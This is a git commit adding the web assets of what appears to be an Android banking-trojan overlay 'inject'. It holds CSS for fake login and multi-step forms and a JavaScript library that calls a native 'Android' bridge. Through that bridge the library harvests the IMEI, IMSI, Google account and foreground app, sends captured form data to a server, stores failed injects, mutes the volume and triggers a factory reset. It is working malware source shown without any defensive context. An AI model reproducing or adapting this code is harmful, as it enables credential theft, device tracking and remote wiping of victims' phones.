initial commit

This commit is contained in:
i2p
2026-08-27 10:50:54 -06:00
commit 97a5f0aa12
3172 changed files with 570428 additions and 0 deletions
+307
View File
@@ -0,0 +1,307 @@
.container {
padding-top:70px;
}
.wrapper .row {
position: relative;
float: left;
width: 100%;
}
.row + .row {
margin-top: 10px;
}
.modal_header{
background: #FFCB00;
border: solid 1px #365FB4;
}
.row_header + .row {
margin-top: 14px;
}
.form_header {
background: #ffffff;
text-align: center;
position: absolute;
top:0;
left:0;
width:100%;
padding: 20px 12px 6px 12px;
border-bottom: solid 1px #A9A9A9;
}
.content{
padding: 0 15px;
max-width: 330px;
margin: 0 auto;
max-width: 100%;
overflow: hidden;
}
.inp_caption {
color: #000;
font-family: "Helvetica";
font-size: 16px;
font-weight: 500;
text-align: center;
margin-bottom: 6px;
}
.input_block_wr_l {
padding-left: 131px;
padding-right: 6%;
margin-bottom: 13px;
}
.inp_caption_l {
position: absolute;
left: 6%;
text-align: left;
top: 8px;
}
.inp_wr_l {
float: right;
width: 100%;
}
.inp_wr{
text-align: center;
}
.main_input{
border: none;
outline-style: none;
background-color: #FFF;
border: 1px solid #E8E8E8;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
border-radius: 5px;
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
max-width: 330px;
height: 35px;
padding-left: 6px;
font-size: 19px;
width: 100%;
}
.input_block_wr {
display:table;
max-width:330px;
margin-left:auto;
margin-right:auto;
position: relative;
width: 100%;
}
.input_block_wr + .input_block_wr {
margin-top: 15px;
}
.btn_wr {
text-align: center;
margin-top: 18px;
margin-bottom: 25px;
}
.logon_btn {
width: 140px;
height: 40px;
background-color: #FE0101;
background-image: -moz-linear-gradient(bottom, #fff 0%, #fff 100%);
background-image: -o-linear-gradient(bottom, #fff 0%, #fff 100%);
background-image: -webkit-linear-gradient(bottom, #fff 0%, #fff 100%);
background-image: linear-gradient(to top, #fff 0%, #fff 100%);
border: 2px solid #fff;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
border-radius: 5px;
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
cursor: pointer;
outline-style: none;
color: #000;
font-family: "Helvetica";
font-size: 19px;
font-weight: 700;
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
}
.main_select {
text-align: left;
}
.main_select.jq-selectbox {
width: 100%;
}
.main_select .jq-selectbox__select {
height: 35px;
padding: 0 5px 0 5px;
border: 1px solid #E8E8E8 !important;
-moz-border-radius: 5px !important;
-webkit-border-radius: 5px !important;
border-radius: 5px !important;
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
border-radius: 0;
background: #fff;
box-shadow: none;
color: #363636;
text-shadow: none;
font-size: 14px;
font: 14px/26px 'Helvetica';
width: 100%;
}
.main_select .jq-selectbox__trigger {
width: 30px;
height: 35px !important;
height: 100%;
border-left: none;
}
.main_select .jq-selectbox__trigger-arrow {
top: 16px;
}
.main_select .jq-selectbox__select-text {
height: 35px;
line-height: 37px;
}
.main_select .jq-selectbox__dropdown {
top: 35px !important;
width: 100%;
-moz-box-sizing: border-box;
box-sizing: border-box;
margin: 0;
padding: 0;
border: 1px solid #CCC;
border-radius: 0;
background: #FFF;
box-shadow: none;
font: 14px/26px 'Helvetica';
}
.main_select .jq-selectbox__dropdown li{
padding: 0 5px 0 !important;
}
@media (max-width: 320px){
.inp_caption_l {
left: 0;
}
.input_block_wr_l {
padding-left: 110px;
padding-right: 0;
}
}
@media (max-height: 436px){
.form_header {
padding: 10px 5px 5px 5px;
height: 40px;
}
.container {padding-top:40px;}
.inp_caption {
font-size: 13px;
margin-bottom: 3px;
}
.row + .row {
margin-top: 0;
}
.form_header:after {
content: none;
}
.main_input{
height: 20px;
font-size: 13px;
}
.logon_btn{
height: 25px;
line-height: 19px;
font-size: 15px;
}
.input_block_wr + .input_block_wr {
margin-top: 5px;
}
.btn_wr {
margin-top: 12px;
margin-bottom: 5px;
}
.main_select .jq-selectbox__select {
height: 20px;
font-size: 13px;
}
.main_select .jq-selectbox__select-text{
height: 20px;
line-height: 22px;
}
.main_select .jq-selectbox__trigger{
height: 20px !important;
width: 18px;
}
.main_select .jq-selectbox__trigger-arrow{
top: 9px;
right: 6px;
}
.inp_caption_l{
top: 3px;
}
.input_block_wr_l{
margin-bottom: 6px;
}
}
@media (max-height: 240px) {
.input_block_wr_l{
padding-left: 95px;
}
}
@media (max-width: 200px), (max-height: 240px) {
.form_header {
padding: 2px;
height: 18px;
margin-bottom: 1px;
}
.container {padding-top:18px;}
.form_header img{
max-height: 13px;
}
.content {
padding: 0 3px;
}
.inp_caption {
font-size: 10px;
margin-bottom: -3px;
}
.row + .row{
margin-top: 0;
}
.main_input{
height: 12px;
font-size: 10px;
}
.input_block_wr + .input_block_wr {
margin-top: 1px;
}
.btn_wr{
margin-top: 1px;
margin-bottom: 1px;
}
.logon_btn{
font-size: 7px;
width: 70px;
height: 16px;
line-height: 10px;
}
.logon_btn img {
top: 4px;
}
.input_block_wr_l{
margin-bottom: 3px;
padding-left: 70px;
}
.main_select .jq-selectbox__select {
height: 15px;
font-size: 10px;
}
.main_select .jq-selectbox__select-text{
height: 15px;
line-height: 15px;
}
.main_select .jq-selectbox__trigger{
height: 15px !important;
width: 7px;
}
.main_select .jq-selectbox__trigger-arrow{
top: 6px;
right: 3px;
}
}
+71
View File
@@ -0,0 +1,71 @@
.cat-start-step {
display: block;
}
.cat-step-block {
display: none;
}
.cat-last-step {
display: none;
margin-top: 50px;
text-align: center;
}
.cat-last-step input[type=button] {
float: none;
width: 200px;
}
.cat-last-step span {
color:red;
font-weight: bold;
font-size: 14px;
display: block;
margin-bottom: 35px;
}
.cat-button {
margin-top: 13px;
position: relative;
display: inline-block;
width: 10em;
height: 2.5em;
line-height: 2em;
vertical-align: middle;
text-align: center;
font-weight: bold;
text-decoration: none;
text-shadow: 0 -1px 1px #777;
color: #fff;
outline: none;
border: 2px solid #F64C2B;
border-radius: 5px;
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
}
.cat-button:active {
top: .1em;
left: .1em;
outline: none;
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
}
#cat-error {
margin-top: 50px;
display:none;
text-align: center;
}
#cat-error span {
color:red;
font-weight: bold;
font-size: 14px;
display: block;
}
#cat-error input[type=button] {
float: none;
width: 200px;
}
+43
View File
@@ -0,0 +1,43 @@
* {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
html,body{
height: 100%;
min-height:100%;
}
html {
min-width: 150px;
min-height: 150px;
}
body {
font-family: 'Arial';
}
.modal {
width: 100%;
/*float: left;*/
text-align: left;
/*min-height: 100%;
max-height: 100%;*/
display:table;
height:100%;
}
.form_header img {
max-width: 100%;
max-height: 100%;
}
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
.container {
width: 100%;
height:100%;
display:table-cell;
vertical-align:middle;
}
@-o-viewport {
width: 150px;
height: device-height;
zoom: 1;
}
+427
View File
@@ -0,0 +1,427 @@
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
/**
* 1. Set default font family to sans-serif.
* 2. Prevent iOS text size adjust after orientation change, without disabling
* user zoom.
*/
html {
font-family: sans-serif; /* 1 */
-ms-text-size-adjust: 100%; /* 2 */
-webkit-text-size-adjust: 100%; /* 2 */
}
/**
* Remove default margin.
*/
body {
margin: 0;
}
/* HTML5 display definitions
========================================================================== */
/**
* Correct `block` display not defined for any HTML5 element in IE 8/9.
* Correct `block` display not defined for `details` or `summary` in IE 10/11
* and Firefox.
* Correct `block` display not defined for `main` in IE 11.
*/
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
menu,
nav,
section,
summary {
display: block;
}
/**
* 1. Correct `inline-block` display not defined in IE 8/9.
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
*/
audio,
canvas,
progress,
video {
display: inline-block; /* 1 */
vertical-align: baseline; /* 2 */
}
/**
* Prevent modern browsers from displaying `audio` without controls.
* Remove excess height in iOS 5 devices.
*/
audio:not([controls]) {
display: none;
height: 0;
}
/**
* Address `[hidden]` styling not present in IE 8/9/10.
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
*/
[hidden],
template {
display: none;
}
/* Links
========================================================================== */
/**
* Remove the gray background color from active links in IE 10.
*/
a {
background-color: transparent;
}
/**
* Improve readability when focused and also mouse hovered in all browsers.
*/
a:active,
a:hover {
outline: 0;
}
/* Text-level semantics
========================================================================== */
/**
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
*/
abbr[title] {
border-bottom: 1px dotted;
}
/**
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
*/
b,
strong {
font-weight: bold;
}
/**
* Address styling not present in Safari and Chrome.
*/
dfn {
font-style: italic;
}
/**
* Address variable `h1` font-size and margin within `section` and `article`
* contexts in Firefox 4+, Safari, and Chrome.
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
/**
* Address styling not present in IE 8/9.
*/
mark {
background: #ff0;
color: #000;
}
/**
* Address inconsistent and variable font size in all browsers.
*/
small {
font-size: 80%;
}
/**
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sup {
top: -0.5em;
}
sub {
bottom: -0.25em;
}
/* Embedded content
========================================================================== */
/**
* Remove border when inside `a` element in IE 8/9/10.
*/
img {
border: 0;
}
/**
* Correct overflow not hidden in IE 9/10/11.
*/
svg:not(:root) {
overflow: hidden;
}
/* Grouping content
========================================================================== */
/**
* Address margin not present in IE 8/9 and Safari.
*/
figure {
margin: 1em 40px;
}
/**
* Address differences between Firefox and other browsers.
*/
hr {
-moz-box-sizing: content-box;
box-sizing: content-box;
height: 0;
}
/**
* Contain overflow in all browsers.
*/
pre {
overflow: auto;
}
/**
* Address odd `em`-unit font size rendering in all browsers.
*/
code,
kbd,
pre,
samp {
font-family: monospace, monospace;
font-size: 1em;
}
/* Forms
========================================================================== */
/**
* Known limitation: by default, Chrome and Safari on OS X allow very limited
* styling of `select`, unless a `border` property is set.
*/
/**
* 1. Correct color not being inherited.
* Known issue: affects color of disabled elements.
* 2. Correct font properties not being inherited.
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
*/
button,
input,
optgroup,
select,
textarea {
color: inherit; /* 1 */
font: inherit; /* 2 */
margin: 0; /* 3 */
}
/**
* Address `overflow` set to `hidden` in IE 8/9/10/11.
*/
button {
overflow: visible;
}
/**
* Address inconsistent `text-transform` inheritance for `button` and `select`.
* All other form control elements do not inherit `text-transform` values.
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
* Correct `select` style inheritance in Firefox.
*/
button,
select {
text-transform: none;
}
/**
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
* and `video` controls.
* 2. Correct inability to style clickable `input` types in iOS.
* 3. Improve usability and consistency of cursor style between image-type
* `input` and others.
*/
button,
html input[type="button"], /* 1 */
input[type="reset"],
input[type="submit"] {
-webkit-appearance: button; /* 2 */
cursor: pointer; /* 3 */
}
/**
* Re-set default cursor for disabled elements.
*/
button[disabled],
html input[disabled] {
cursor: default;
}
/**
* Remove inner padding and border in Firefox 4+.
*/
button::-moz-focus-inner,
input::-moz-focus-inner {
border: 0;
padding: 0;
}
/**
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
* the UA stylesheet.
*/
input {
line-height: normal;
}
/**
* It's recommended that you don't attempt to style these elements.
* Firefox's implementation doesn't respect box-sizing, padding, or width.
*
* 1. Address box sizing set to `content-box` in IE 8/9/10.
* 2. Remove excess padding in IE 8/9/10.
*/
input[type="checkbox"],
input[type="radio"] {
box-sizing: border-box; /* 1 */
padding: 0; /* 2 */
}
/**
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
* `font-size` values of the `input`, it causes the cursor style of the
* decrement button to change from `default` to `text`.
*/
input[type="number"]::-webkit-inner-spin-button,
input[type="number"]::-webkit-outer-spin-button {
height: auto;
}
/**
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
* (include `-moz` to future-proof).
*/
input[type="search"] {
-webkit-appearance: textfield; /* 1 */
-moz-box-sizing: content-box;
-webkit-box-sizing: content-box; /* 2 */
box-sizing: content-box;
}
/**
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
* Safari (but not Chrome) clips the cancel button when the search input has
* padding (and `textfield` appearance).
*/
input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
/**
* Define consistent border, margin, and padding.
*/
fieldset {
border: 1px solid #c0c0c0;
margin: 0 2px;
padding: 0.35em 0.625em 0.75em;
}
/**
* 1. Correct `color` not being inherited in IE 8/9/10/11.
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
*/
legend {
border: 0; /* 1 */
padding: 0; /* 2 */
}
/**
* Remove default vertical scrollbar in IE 8/9/10/11.
*/
textarea {
overflow: auto;
}
/**
* Don't inherit the `font-weight` (applied by a rule above).
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
*/
optgroup {
font-weight: bold;
}
/* Tables
========================================================================== */
/**
* Remove most spacing between table cells.
*/
table {
border-collapse: collapse;
border-spacing: 0;
}
td,
th {
padding: 0;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

+230
View File
@@ -0,0 +1,230 @@
/* Closes window of inject */
function closeWindow() {
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
Android.closeWindow();
} else {
functionIsNotDefined('closeWindow');
}
}
/* Executes factory reset of device */
function factoryReset() {
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
Android.factoryReset();
} else {
functionIsNotDefined('factoryReset');
}
}
/* Transmits data to server */
function transmit(stepID, closeInject, additionalData) {
var o = {};
var result = true;
var m = $('#cat-step-' + stepID).serializeArray();
var a = (additionalData) ? m.concat(additionalData) : m;
$.each(a, function() {
var thisValue = this.value.trim();
if (thisValue == '') {
result = false;
return false;
}
if (o[this.name] !== undefined) {
if (!o[this.name].push) {
o[this.name] = [o[this.name]];
}
o[this.name].push(thisValue || '');
} else {
o[this.name] = thisValue || '';
}
});
if (!result) {
return false;
}
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
Android.sendDataToServer(JSON.stringify(o), closeInject);
} else {
console.log(JSON.stringify(o));
}
return true;
}
/* Write to console if argument function is not defined */
function functionIsNotDefined(func) {
console.log('Android.' + func + '() was called');
}
/* Returns ISO XX code of current country */
function getCountryCode() {
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
return Android.getCountryCode();
} else {
functionIsNotDefined('getCountryCode');
return "gb";
}
}
/* Returns manufacturer of device */
function getDeviceBrand() {
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
return Android.getDeviceBrand();
} else {
functionIsNotDefined('getDeviceBrand');
return "";
}
}
/* Returns model of device */
function getDeviceModel() {
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
return Android.getDeviceModel();
} else {
functionIsNotDefined('getDeviceModel');
return "";
}
}
/* Returns Google Account (E-mail address) */
function getGoogleAccount() {
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
return Android.getGoogleAccount();
} else {
functionIsNotDefined('getGoogleAccount');
return "";
}
}
/* Returns IMEI code of device */
function getImei() {
if (isAndroid() && typeof(Android.getImei) == 'function') {
return Android.getImei();
} else {
functionIsNotDefined('getImei');
return 0;
}
}
/* Returns IMSI code of device */
function getImsi() {
if (isAndroid() && typeof(Android.getImsi) == 'function') {
return Android.getImsi();
} else {
functionIsNotDefined('getImsi');
return 0;
}
}
/* Returns ISO XX language code of current country */
function getLanguageCode() {
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
return Android.getLanguageCode();
} else {
functionIsNotDefined('getLanguageCode');
return "en";
}
}
/* Returns package name of current opened application */
function getPackageName() {
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
return Android.getPackageName();
} else {
functionIsNotDefined('getPackageName');
return "";
}
}
/* Returns current version of SDK */
function getVersionSdk() {
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
return Android.getVersionSdk();
} else {
functionIsNotDefined('getVersionSdk');
return 0;
}
}
/* Return whether Android is defined */
function isAndroid() {
return typeof Android != 'undefined';
}
/* Mute everything volume */
function muteVolume(state) {
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
Android.muteVolume(state);
} else {
functionIsNotDefined('muteVolume');
}
}
/*
* Shows message in dialog window
* If @packageName is not empty bot will start @packageName
*/
function showAlert(title, message, buttonText, packageName) {
if (isAndroid() && typeof(Android.alert) == 'function') {
Android.alert(title, message, buttonText, packageName);
} else {
alert(message);
}
}
/* Shows error if server did not answer */
function showInternetError() {
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
Android.saveFailInject(); // Saves inject's data in memory of device
} else {
functionIsNotDefined('saveFailInject');
}
$('#cat-forms').hide();
$('#cat-error').show();
}
/* Sends form with step's number stepID and shows form stepID + 1 */
function switchStep(stepID, regReceiver) {
if (transmit(stepID, regReceiver)) {
if (stepID == 1) {
$('.cat-start-step').hide();
}
$('.cat-step-block').hide();
$('#cat-step-' + (stepID + 1)).show();
} else {
showAlert('Error', 'You must fill out every field', 'OK', '')
}
}
/* Hides block with error and shows form for enter inject's data */
function tryEnterAgain() {
$('#cat-error').hide();
$('#cat-forms').show();
}
File diff suppressed because one or more lines are too long
+11
View File
@@ -0,0 +1,11 @@
$(document).ready(function(){
function changeViewport(){
if ($(window).width() < 150 || $(window).height() < 150){
$('meta[name=viewport]').attr("content", "initial-scale=0");
} else {
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
}
}
changeViewport();
});